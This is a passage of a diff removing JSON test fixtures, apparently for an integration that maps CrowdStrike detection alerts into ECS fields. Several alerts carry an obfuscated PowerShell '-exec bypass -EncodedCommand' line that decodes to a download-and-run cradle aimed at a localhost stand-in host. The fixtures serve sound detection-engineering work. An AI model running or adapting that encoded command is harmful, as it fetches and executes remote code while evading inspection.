-                    "tree_id": "12345678901",
-                    "type": "lead",
-                    "updated_timestamp": "2024-11-07T20:49:59.123Z",
-                    "user_name": "SOMEUSER"
-                }
-            },
-            "ecs": {
-                "version": "8.17.0"
-            },
-            "event": {
-                "category": [
-                    "process"
-                ],
-                "id": "lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3",
-                "kind": "alert",
-                "original": "{\"name\":\"OTHERUSER on OTHERHOST\",\"agent_id\":\"abcd1234abcd1234abcd12\",\"aggregate_id\":\"\",\"cid\":\"asdfasdfsadfasdfasdf\",\"command_line\":\"powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA\",\"composite_id\":\"b1571642dd47ef39ab7930ff655b5fee:lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3\",\"crawled_timestamp\":\"2024-11-07T20:49:59.12345678Z\",\"created_timestamp\":\"2024-11-07T20:49:59.123432101Z\",\"detect_type\":\"endpoint\",\"user_name\":\"SOMEUSER\",\"host_type\":\"Server\",\"id\":\"lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3\",\"image_file_name\":\"\\\\Device\\\\HarddiskVolume1\\\\Windows\\\\SysWOW64\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\",\"operating_system\":\"Windows\",\"pattern_id\":97000,\"poly_id\":\"CCsPIUqaBDazAOtSAoM7lq6mNa0VpOykjauHXxb2GDCIAAt9RxW1JGn1EjTE6TITrO9y8QA5VghO2K9xAIDbSfdGo30pFQ==\",\"process_id\":\"123456789123\",\"product\":\"overwatch\",\"seconds_to_resolved\":0,\"seconds_to_triaged\":0,\"show_in_ui\":true,\"status\":\"new\",\"tags\":[\"ow/investigated\",\"ow/resolution/benign\"],\"timestamp\":\"2024-11-07T20:47:22Z\",\"tree_id\":\"12345678901\",\"type\":\"lead\",\"updated_timestamp\":\"2024-11-07T20:49:59.123432101Z\"}"
-            },
-            "file": {
-                "path": "\\Device\\HarddiskVolume1\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe"
-            },
-            "host": {
-                "id": "abcd1234abcd1234abcd12",
-                "name": "OTHERHOST",
-                "os": {
-                    "name": "Windows",
-                    "type": "windows"
-                },
-                "type": "Server"
-            },
-            "process": {
-                "command_line": "powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA",
-                "entity_id": "123456789123",
-                "pid": 123456789123
-            },
-            "related": {
-                "hosts": [
-                    "OTHERHOST"
-                ],
-                "user": [
-                    "SOMEUSER",
-                    "OTHERUSER"
-                ]
-            },
-            "tags": [
-                "preserve_original_event",
-                "preserve_duplicate_custom_fields",
-                "ow/investigated",
-                "ow/resolution/benign"
-            ],
-            "user": {
-                "name": "SOMEUSER"
-            }
-        },
-        {
-            "@timestamp": "2024-11-07T20:47:22.000Z",
-            "crowdstrike": {
-                "alert": {
-                    "agent_id": "abcd1234abcd1234abcd12",
-                    "cid": "asdfasdfsadfasdfasdf",
-                    "command_line": "powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA",
-                    "composite_id": "b1571642dd47ef39ab7930ff655b5fee:lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3",
-                    "crawled_timestamp": "2024-11-07T20:49:59.123Z",
-                    "created_timestamp": "2024-11-07T20:49:59.123Z",
-                    "detect_type": "endpoint",
-                    "host_type": "Server",
-                    "id": "lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3",
-                    "image_file_name": "\\Device\\HarddiskVolume1\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe",
-                    "name": "OTHERUSER on OTHERHOST",
-                    "operating_system": "Windows",
-                    "pattern_id": "97000",
-                    "poly_id": "CCsPIUqaBDazAOtSAoM7lq6mNa0VpOykjauHXxb2GDCIAAt9RxW1JGn1EjTE6TITrO9y8QA5VghO2K9xAIDbSfdGo30pFQ==",
-                    "prevented": true,
-                    "process_id": "123456789123",
-                    "product": "overwatch",
-                    "seconds_to_resolved": 0,
-                    "seconds_to_triaged": 0,
-                    "show_in_ui": true,
-                    "status": "new",
-                    "tags": [
-                        "ow/investigated",
-                        "ow/resolution/benign"
-                    ],
-                    "timestamp": "2024-11-07T20:47:22.000Z",
-                    "tree_id": "12345678901",
-                    "type": "lead",
-                    "updated_timestamp": "2024-11-07T20:49:59.123Z",
-                    "user_name": "SOMEUSER",
-                    "worker_node_name": "example"
-                }
-            },
-            "ecs": {
-                "version": "8.17.0"
-            },
-            "event": {
-                "category": [
-                    "process"
-                ],
-                "id": "lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3",
-                "kind": "alert",
-                "original": "{\"name\":\"OTHERUSER on OTHERHOST\",\"agent_id\":\"abcd1234abcd1234abcd12\",\"aggregate_id\":\"\",\"cid\":\"asdfasdfsadfasdfasdf\",\"command_line\":\"powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA\",\"composite_id\":\"b1571642dd47ef39ab7930ff655b5fee:lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3\",\"crawled_timestamp\":\"2024-11-07T20:49:59.12345678Z\",\"created_timestamp\":\"2024-11-07T20:49:59.123432101Z\",\"detect_type\":\"endpoint\",\"user_name\":\"SOMEUSER\",\"host_type\":\"Server\",\"id\":\"lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3\",\"image_file_name\":\"\\\\Device\\\\HarddiskVolume1\\\\Windows\\\\SysWOW64\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\",\"operating_system\":\"Windows\",\"pattern_id\":97000,\"poly_id\":\"CCsPIUqaBDazAOtSAoM7lq6mNa0VpOykjauHXxb2GDCIAAt9RxW1JGn1EjTE6TITrO9y8QA5VghO2K9xAIDbSfdGo30pFQ==\",\"process_id\":\"123456789123\",\"product\":\"overwatch\",\"seconds_to_resolved\":0,\"seconds_to_triaged\":0,\"show_in_ui\":true,\"status\":\"new\",\"tags\":[\"ow/investigated\",\"ow/resolution/benign\"],\"timestamp\":\"2024-11-07T20:47:22Z\",\"tree_id\":\"12345678901\",\"type\":\"lead\",\"updated_timestamp\":\"2024-11-07T20:49:59.123432101Z\", \"prevented\":true,\"worker_node_name\":\"example\"}"
-            },
-            "file": {
-                "path": "\\Device\\HarddiskVolume1\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe"
-            },
-            "host": {
-                "id": "abcd1234abcd1234abcd12",
-                "name": "OTHERHOST",
-                "os": {
-                    "name": "Windows",
-                    "type": "windows"
-                },
-                "type": "Server"
-            },
-            "process": {
-                "command_line": "powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA",
-                "entity_id": "123456789123",
-                "pid": 123456789123
-            },
-            "related": {
-                "hosts": [
-                    "OTHERHOST"
-                ],
-                "user": [
-                    "SOMEUSER",
-                    "OTHERUSER"
-                ]
-            },
-            "tags": [
-                "preserve_original_event",
-                "preserve_duplicate_custom_fields",
-                "ow/investigated",
-                "ow/resolution/benign"
-            ],
-            "user": {
-                "name": "SOMEUSER"
-            }
-        },
-        {
-            "@timestamp": "2025-06-06T10:20:41.789Z",
-            "crowdstrike": {
-                "alert": {
-                    "agent_id": "7940b10993e844e398f83bd92aa92b8f",
-                    "aggregate_id": "aggind:7940b10993e844e398f83bd92aa92b8f:17181460644",
-                    "alleged_filetype": "exe",
-                    "cid": "bdc3e3474d8848f1b8dcf41d41669a14",
-                    "cloud_indicator": false,
-                    "cmdline": "cmd crowdstrike_test_informational",
-                    "composite_id": "bdc3e3474d8848f1b8dcf41d41669a14:ind:7940b10993e844e398f83bd92aa92b8f:17942810918-10307-2282000",
-                    "confidence": 100,
-                    "context_timestamp": "2025-06-06T10:20:41.124Z",
-                    "control_graph_id": "ctg:7940b10993e844e398f83bd92aa92b8f:17181460644",
-                    "crawled_timestamp": "2025-06-06T10:21:45.624Z",
-                    "created_timestamp": "2025-06-06T10:21:45.624Z",
-                    "data_domains": [
-                        "Endpoint"
-                    ],
-                    "description": "An informational level detection was triggered on this process for testing purposes.",
-                    "device": {
-                        "agent_load_flags": 1,
-                        "agent_local_time": "2025-06-06T06:28:45.178Z",
-                        "agent_version": "7.24.19607.0",
-                        "bios_manufacturer": "Microsoft Corporation",
-                        "bios_version": "Hyper-V UEFI Release v4.1",
-                        "cid": "bdc3e3474d8848f1b8dcf41d41669a14",
-                        "config_id_base": "65994767",
-                        "config_id_build": "19607",
-                        "config_id_platform": 3,
-                        "external_ip": "81.2.69.144",
-                        "first_seen": "2025-05-29T11:54:43.000Z",
-                        "groups": [
-                            "f3ba4e75244b4d06837c910a00bf80be"
-                        ],
-                        "hostname": "raquel-win10-3",
-                        "id": "7940b10993e844e398f83bd92aa92b8f",
-                        "last_seen": "2025-06-06T09:44:59.000Z",
-                        "local_ip": "10.0.0.13",
-                        "mac_address": "60-45-BD-D2-D4-37",
-                        "major_version": "10",
-                        "minor_version": "0",
-                        "modified_timestamp": "2025-06-06T10:18:32.000Z",
-                        "os_version": "Windows 10",
-                        "platform_id": "0",
-                        "platform_name": "Windows",
-                        "product_type": "1",
-                        "product_type_desc": "Workstation",
-                        "status": "normal",
-                        "system_manufacturer": "Microsoft Corporation",
-                        "system_product_name": "Virtual Machine"
-                    },
-                    "display_name": "TestTriggerInformational",
-                    "email_sent": true,
-                    "falcon_host_link": "https://falcon.us-2.crowdstrike.com/activity-v2/detections/bdc3e3474d8848f1b8dcf41d41669a14:ind:7940b10993e844e398f83bd92aa92b8f:17942810918-10307-2282000?_cid=g040006rwb4alvhren7gw2yl7qja76ge",
-                    "filename": "cmd.exe",
-                    "filepath": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe",
-                    "global_prevalence": "common",
-                    "grandparent_details": {
-                        "cmdline": "cmd crowdstrike_test_medium",
-                        "filename": "cmd.exe",
-                        "filepath": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe",
-                        "local_process_id": "2796",
-                        "md5": "2b40c98ed0f7a1d3b091a3e8353132dc",
-                        "process_graph_id": "pid:7940b10993e844e398f83bd92aa92b8f:17938741315",
-                        "process_id": "17938741315",
-                        "sha256": "badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0",
-                        "timestamp": "2025-06-06T10:20:21.000Z",
-                        "user_graph_id": "uid:7940b10993e844e398f83bd92aa92b8f:S-1-5-21-2765107603-2663188678-2286454264-500",
-                        "user_id": "S-1-5-21-2765107603-2663188678-2286454264-500",
-                        "user_name": "win10_user3"
-                    },
-                    "has_script_or_module_ioc": false,
-                    "id": "ind:7940b10993e844e398f83bd92aa92b8f:17942810918-10307-2282000",
-                    "indicator_id": "ind:7940b10993e844e398f83bd92aa92b8f:17942810918-10307-2282000",
-                    "is_synthetic_quarantine_disposition": false,
-                    "local_prevalence": "unique",
-                    "local_process_id": "6028",
-                    "logon_domain": "raquel-win10-3",
-                    "md5": "2b40c98ed0f7a1d3b091a3e8353132dc",
-                    "name": "DemoInformationalPattern",
-                    "objective": "Falcon Detection Method",
-                    "parent_details": {
-                        "cmdline": "cmd crowdstrike_test_low",
-                        "filename": "cmd.exe",
-                        "filepath": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe",
-                        "local_process_id": "4840",
-                        "md5": "2b40c98ed0f7a1d3b091a3e8353132dc",
-                        "process_graph_id": "pid:7940b10993e844e398f83bd92aa92b8f:17940808135",
-                        "process_id": "17940808135",
-                        "sha256": "badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0",
-                        "timestamp": "2025-06-06T10:20:32.000Z",
-                        "user_graph_id": "uid:7940b10993e844e398f83bd92aa92b8f:S-1-5-21-2765107603-2663188678-2286454264-500",
-                        "user_id": "S-1-5-21-2765107603-2663188678-2286454264-500",
-                        "user_name": "win10_user3"
-                    },
-                    "parent_process_id": "17940808135",
-                    "pattern_disposition": 0,
-                    "pattern_disposition_description": "Detection, standard detection.",
-                    "pattern_disposition_details": {
-                        "blocking_unsupported_or_disabled": false,
-                        "bootup_safeguard_enabled": false,
-                        "containment_file_system": false,
-                        "critical_process_disabled": false,
-                        "detect": false,
-                        "fs_operation_blocked": false,
-                        "handle_operation_downgraded": false,
-                        "inddet_mask": false,
-                        "indicator": false,
-                        "kill_action_failed": false,
-                        "kill_parent": false,
-                        "kill_process": false,
-                        "kill_subprocess": false,
-                        "mfa_required": false,
-                        "operation_blocked": false,
-                        "policy_disabled": false,
-                        "prevention_provisioning_enabled": false,
-                        "process_blocked": false,
-                        "quarantine_file": false,
-                        "quarantine_machine": false,
-                        "registry_operation_blocked": false,
-                        "response_action_already_applied": false,
-                        "response_action_failed": false,
-                        "response_action_triggered": false,
-                        "rooting": false,
-                        "sensor_only": false,
-                        "suspend_parent": false,
-                        "suspend_process": false
-                    },
-                    "pattern_id": "10307",
-                    "platform": "Windows",
-                    "poly_id": "AAC9w-NHTYhI8bjc9B1BZpoUC8NRDif9GuRVWSpmJEpq1wAATiEP-U3SmU9-dQC7n0vA5khCWzV6y19TAH4ibeyfgOILFw==",
-                    "process_id": "17942810918",
-                    "process_start_time": "2025-06-06T10:20:41.000Z",
-                    "product": "epp",
-                    "scenario": "suspicious_activity",
-                    "seconds_to_resolved": 0,
-                    "seconds_to_triaged": 0,
-                    "severity": 10,
-                    "severity_name": "Informational",
-                    "sha1": "0000000000000000000000000000000000000000",
-                    "sha256": "badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0",
-                    "show_in_ui": true,
-                    "source_products": [
-                        "Falcon Insight"
-                    ],
-                    "source_vendors": [
-                        "CrowdStrike"
-                    ],
-                    "status": "new",
-                    "tactic": "Falcon Overwatch",
-                    "tactic_id": "CSTA0006",
-                    "technique": "Malicious Activity",
-                    "technique_id": "CST0002",
-                    "template_instance_id": "1339",
-                    "timestamp": "2025-06-06T10:20:41.789Z",
-                    "tree_id": "17181460644",
-                    "tree_root": "17934037600",
-                    "triggering_process_graph_id": "pid:7940b10993e844e398f83bd92aa92b8f:17942810918",
-                    "type": "ldt",
-                    "updated_timestamp": "2025-06-06T10:21:50.710Z",
-                    "user_id": "S-1-5-21-2765107603-2663188678-2286454264-500",
-                    "user_name": "win10_user3"
-                }
-            },
-            "device": {
-                "id": "7940b10993e844e398f83bd92aa92b8f",
-                "manufacturer": "Microsoft Corporation",
-                "model": {
-                    "name": "Virtual Machine"
-                }
-            },
-            "ecs": {
-                "version": "8.17.0"
-            },
-            "event": {
-                "category": [
-                    "process"
-                ],
-                "id": "ind:7940b10993e844e398f83bd92aa92b8f:17942810918-10307-2282000",
-                "kind": "alert",
-                "original": "{\"agent_id\":\"7940b10993e844e398f83bd92aa92b8f\",\"aggregate_id\":\"aggind:7940b10993e844e398f83bd92aa92b8f:17181460644\",\"alleged_filetype\":\"exe\",\"cid\":\"bdc3e3474d8848f1b8dcf41d41669a14\",\"cloud_indicator\":\"false\",\"cmdline\":\"cmd crowdstrike_test_informational\",\"composite_id\":\"bdc3e3474d8848f1b8dcf41d41669a14:ind:7940b10993e844e398f83bd92aa92b8f:17942810918-10307-2282000\",\"confidence\":100,\"context_timestamp\":\"2025-06-06T10:20:41.124Z\",\"control_graph_id\":\"ctg:7940b10993e844e398f83bd92aa92b8f:17181460644\",\"crawled_timestamp\":\"2025-06-06T10:21:45.624194206Z\",\"created_timestamp\":\"2025-06-06T10:21:45.624178312Z\",\"data_domains\":[\"Endpoint\"],\"description\":\"An informational level detection was triggered on this process for testing purposes.\",\"device\":{\"agent_load_flags\":\"1\",\"agent_local_time\":\"2025-06-06T06:28:45.178Z\",\"agent_version\":\"7.24.19607.0\",\"bios_manufacturer\":\"Microsoft Corporation\",\"bios_version\":\"Hyper-V UEFI Release v4.1\",\"cid\":\"bdc3e3474d8848f1b8dcf41d41669a14\",\"config_id_base\":\"65994767\",\"config_id_build\":\"19607\",\"config_id_platform\":\"3\",\"device_id\":\"7940b10993e844e398f83bd92aa92b8f\",\"external_ip\":\"81.2.69.144\",\"first_seen\":\"2025-05-29T11:54:43Z\",\"groups\":[\"f3ba4e75244b4d06837c910a00bf80be\"],\"hostinfo\":{\"domain\":\"\"},\"hostname\":\"raquel-win10-3\",\"instance_id\":\"f60ebe5d-4967-48d8-9ce0-d1135b04e8d6\",\"last_seen\":\"2025-06-06T09:44:59Z\",\"local_ip\":\"10.0.0.13\",\"mac_address\":\"60-45-bd-d2-d4-37\",\"machine_domain\":\"\",\"major_version\":\"10\",\"minor_version\":\"0\",\"modified_timestamp\":\"2025-06-06T10:18:32Z\",\"os_version\":\"Windows 10\",\"ou\":null,\"platform_id\":\"0\",\"platform_name\":\"Windows\",\"product_type\":\"1\",\"product_type_desc\":\"Workstation\",\"service_provider\":\"AZURE\",\"service_provider_account_id\":\"7599433a-346d-4c25-b9d0-2948136c41f5\",\"status\":\"normal\",\"system_manufacturer\":\"Microsoft Corporation\",\"system_product_name\":\"Virtual Machine\"},\"display_name\":\"TestTriggerInformational\",\"email_sent\":true,\"falcon_host_link\":\"https://falcon.us-2.crowdstrike.com/activity-v2/detections/bdc3e3474d8848f1b8dcf41d41669a14:ind:7940b10993e844e398f83bd92aa92b8f:17942810918-10307-2282000?_cid=g040006rwb4alvhren7gw2yl7qja76ge\",\"filename\":\"cmd.exe\",\"filepath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"global_prevalence\":\"common\",\"grandparent_details\":{\"cmdline\":\"cmd crowdstrike_test_medium\",\"filename\":\"cmd.exe\",\"filepath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"local_process_id\":\"2796\",\"md5\":\"2b40c98ed0f7a1d3b091a3e8353132dc\",\"process_graph_id\":\"pid:7940b10993e844e398f83bd92aa92b8f:17938741315\",\"process_id\":\"17938741315\",\"sha256\":\"badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0\",\"timestamp\":\"2025-06-06T10:20:21Z\",\"user_graph_id\":\"uid:7940b10993e844e398f83bd92aa92b8f:S-1-5-21-2765107603-2663188678-2286454264-500\",\"user_id\":\"S-1-5-21-2765107603-2663188678-2286454264-500\",\"user_name\":\"win10_user3\"},\"id\":\"ind:7940b10993e844e398f83bd92aa92b8f:17942810918-10307-2282000\",\"indicator_id\":\"ind:7940b10993e844e398f83bd92aa92b8f:17942810918-10307-2282000\",\"ioc_context\":[],\"local_prevalence\":\"unique\",\"local_process_id\":\"6028\",\"logon_domain\":\"raquel-win10-3\",\"md5\":\"2b40c98ed0f7a1d3b091a3e8353132dc\",\"name\":\"DemoInformationalPattern\",\"objective\":\"Falcon Detection Method\",\"parent_details\":{\"cmdline\":\"cmd crowdstrike_test_low\",\"filename\":\"cmd.exe\",\"filepath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"local_process_id\":\"4840\",\"md5\":\"2b40c98ed0f7a1d3b091a3e8353132dc\",\"process_graph_id\":\"pid:7940b10993e844e398f83bd92aa92b8f:17940808135\",\"process_id\":\"17940808135\",\"sha256\":\"badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0\",\"timestamp\":\"2025-06-06T10:20:32Z\",\"user_graph_id\":\"uid:7940b10993e844e398f83bd92aa92b8f:S-1-5-21-2765107603-2663188678-2286454264-500\",\"user_id\":\"S-1-5-21-2765107603-2663188678-2286454264-500\",\"user_name\":\"win10_user3\"},\"parent_process_id\":\"17940808135\",\"pattern_disposition\":0,\"pattern_disposition_description\":\"Detection, standard detection.\",\"pattern_disposition_details\":{\"blocking_unsupported_or_disabled\":false,\"bootup_safeguard_enabled\":false,\"containment_file_system\":false,\"critical_process_disabled\":false,\"detect\":false,\"fs_operation_blocked\":false,\"handle_operation_downgraded\":false,\"inddet_mask\":false,\"indicator\":false,\"kill_action_failed\":false,\"kill_parent\":false,\"kill_process\":false,\"kill_subprocess\":false,\"mfa_required\":false,\"operation_blocked\":false,\"policy_disabled\":false,\"prevention_provisioning_enabled\":false,\"process_blocked\":false,\"quarantine_file\":false,\"quarantine_machine\":false,\"registry_operation_blocked\":false,\"response_action_already_applied\":false,\"response_action_failed\":false,\"response_action_triggered\":false,\"rooting\":false,\"sensor_only\":false,\"suspend_parent\":false,\"suspend_process\":false},\"pattern_id\":10307,\"platform\":\"Windows\",\"poly_id\":\"AAC9w-NHTYhI8bjc9B1BZpoUC8NRDif9GuRVWSpmJEpq1wAATiEP-U3SmU9-dQC7n0vA5khCWzV6y19TAH4ibeyfgOILFw==\",\"priority_explanation\":[\"[MOD] The severity of the detection: Informational\"],\"priority_value\":10,\"process_id\":\"17942810918\",\"process_start_time\":\"1749205241\",\"product\":\"epp\",\"scenario\":\"suspicious_activity\",\"seconds_to_resolved\":0,\"seconds_to_triaged\":0,\"severity\":10,\"severity_name\":\"Informational\",\"sha1\":\"0000000000000000000000000000000000000000\",\"sha256\":\"badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0\",\"show_in_ui\":true,\"source_products\":[\"Falcon Insight\"],\"source_vendors\":[\"CrowdStrike\"],\"status\":\"new\",\"tactic\":\"Falcon Overwatch\",\"tactic_id\":\"CSTA0006\",\"technique\":\"Malicious Activity\",\"technique_id\":\"CST0002\",\"template_instance_id\":\"1339\",\"timestamp\":\"2025-06-06T10:20:41.789Z\",\"tree_id\":\"17181460644\",\"tree_root\":\"17934037600\",\"triggering_process_graph_id\":\"pid:7940b10993e844e398f83bd92aa92b8f:17942810918\",\"type\":\"ldt\",\"updated_timestamp\":\"2025-06-06T10:21:50.710758858Z\",\"user_id\":\"S-1-5-21-2765107603-2663188678-2286454264-500\",\"user_name\":\"win10_user3\"}",
-                "severity": 21,
-                "type": [
-                    "start"
-                ]
-            },
-            "file": {
-                "name": "cmd.exe",
-                "path": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe"
-            },
-            "host": {
-                "hostname": "raquel-win10-3",
-                "id": "7940b10993e844e398f83bd92aa92b8f",
-                "ip": [
-                    "81.2.69.144",
-                    "10.0.0.13"
-                ],
-                "mac": [
-                    "60-45-BD-D2-D4-37"
-                ],
-                "os": {
-                    "full": "Windows 10",
-                    "platform": "Windows",
-                    "type": "windows"
-                }
-            },
-            "message": "An informational level detection was triggered on this process for testing purposes.",
-            "process": {
-                "entity_id": "17942810918",
-                "executable": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe",
-                "hash": {
-                    "md5": "2b40c98ed0f7a1d3b091a3e8353132dc",
-                    "sha1": "0000000000000000000000000000000000000000",
-                    "sha256": "badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0"
-                },
-                "name": "cmd.exe",
-                "parent": {
-                    "command_line": "cmd crowdstrike_test_low",
-                    "entity_id": "17940808135",
-                    "executable": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe",
-                    "hash": {
-                        "md5": "2b40c98ed0f7a1d3b091a3e8353132dc",
-                        "sha256": "badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0"
-                    },
-                    "name": "cmd.exe",
-                    "pid": 17940808135
-                },
-                "pid": 17942810918,
-                "start": "2025-06-06T10:20:41.000Z",
-                "user": {
-                    "id": "S-1-5-21-2765107603-2663188678-2286454264-500",
-                    "name": "win10_user3"
-                }
-            },
-            "related": {
-                "hash": [
-                    "2b40c98ed0f7a1d3b091a3e8353132dc",
-                    "badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0",
-                    "0000000000000000000000000000000000000000"
-                ],
-                "hosts": [
-                    "raquel-win10-3"
-                ],
-                "ip": [
-                    "81.2.69.144",
-                    "10.0.0.13"
-                ],
-                "user": [
-                    "uid:7940b10993e844e398f83bd92aa92b8f:S-1-5-21-2765107603-2663188678-2286454264-500",
-                    "S-1-5-21-2765107603-2663188678-2286454264-500",
-                    "win10_user3"
-                ]
-            },
-            "tags": [
-                "preserve_original_event",
-                "preserve_duplicate_custom_fields"
-            ],
-            "threat": {
-                "framework": "CrowdStrike Falcon Detections Framework",
-                "tactic": {
-                    "id": [
-                        "CSTA0006"
-                    ],
-                    "name": [
-                        "Falcon Overwatch"
-                    ]
-                },
-                "technique": {
-                    "id": [
-                        "CST0002"
-                    ],
-                    "name": [
-                        "Malicious Activity"
-                    ]
-                }
-            },
-            "user": {
-                "id": "S-1-5-21-2765107603-2663188678-2286454264-500",
-                "name": "win10_user3"
-            }
-        },
-        {
-            "@timestamp": "2026-01-27T20:34:37.000Z",
-            "crowdstrike": {
-                "alert": {
-                    "cid": "bdc3e3474d8848f1**************",
-                    "composite_id": "bdc3e3474d8848f1**************:fcs:ioa-206:09a917ca-d430-4cd2-ae55-ceaec7e7dc94",
-                    "crawled_timestamp": "2026-01-27T20:34:47.330Z",
-                    "created_timestamp": "2026-01-27T20:34:47.330Z",
-                    "data_domains": [
-                        "Cloud"
-                    ],
-                    "display_name": "VPC flow logs disabled",
-                    "event_id": "09a917ca-d430-4cd2-ae55-ceaec7e7dc94",
-                    "falcon_host_link": "https://falcon.us-2.crowdstrike.com/unified-detections/<redacted>",
-                    "id": "fcs:ioa-206:09a917ca-d430-4cd2-ae55-ceaec7e7dc94",
-                    "mitre_attack": [
-                        {
-                            "pattern_id": "2036",
-                            "tactic": "Defense Evasion",
-                            "tactic_id": "TA0005",
-                            "technique": "Impair Defenses:Disable Cloud Logs",
-                            "technique_id": "T1562.008"
-                        }
-                    ],
-                    "name": "VPC flow logs disabled",
-                    "pattern_id": "2036",
-                    "poly_id": "<redacted>",
-                    "product": "fcs",
-                    "seconds_to_resolved": 0,
-                    "seconds_to_triaged": 0,
-                    "severity": 40,
-                    "severity_name": "Medium",
-                    "show_in_ui": true,
-                    "source": {
-                        "account_name": "elastic-siem"
-                    },
-                    "source_products": [
-                        "Falcon Cloud Security"
-                    ],
-                    "source_vendors": [
-                        "CrowdStrike"
-                    ],
-                    "status": "new",
-                    "tactic": "Defense Evasion",
-                    "tactic_id": "TA0005",
-                    "technique": "Impair Defenses:Disable Cloud Logs",
-                    "technique_id": "T1562.008",
-                    "timestamp": "2026-01-27T20:34:37.000Z",
-                    "type": "cloud-ioa",
-                    "updated_timestamp": "2026-01-27T20:34:47.330Z",
-                    "user_name": "user@example.com"
-                }
-            },
-            "ecs": {
-                "version": "8.17.0"
-            },
-            "event": {
-                "id": "fcs:ioa-206:09a917ca-d430-4cd2-ae55-ceaec7e7dc94",
-                "kind": "alert",
-                "original": "{\"attack_types\":[\"Defense Evasion\"],\"aws_access_key_id\":\"ASIA****************\",\"aws_recipient_account_id\":\"XXXXXXXXXXXX\",\"aws_user_account_id\":\"XXXXXXXXXXXX\",\"cid\":\"bdc3e3474d8848f1**************\",\"cloud_account_id\":\"XXXXXXXXXXXX\",\"cloud_provider\":\"aws\",\"cloud_region\":\"us-east-2\",\"composite_id\":\"bdc3e3474d8848f1**************:fcs:ioa-206:09a917ca-d430-4cd2-ae55-ceaec7e7dc94\",\"crawled_timestamp\":\"2026-01-27T20:34:47.330975395Z\",\"created_timestamp\":\"2026-01-27T20:34:47.330964263Z\",\"data_domains\":[\"Cloud\"],\"device\":{\"service_provider\":\"aws\",\"service_provider_account_id\":\"XXXXXXXXXXXX\"},\"display_name\":\"VPC flow logs 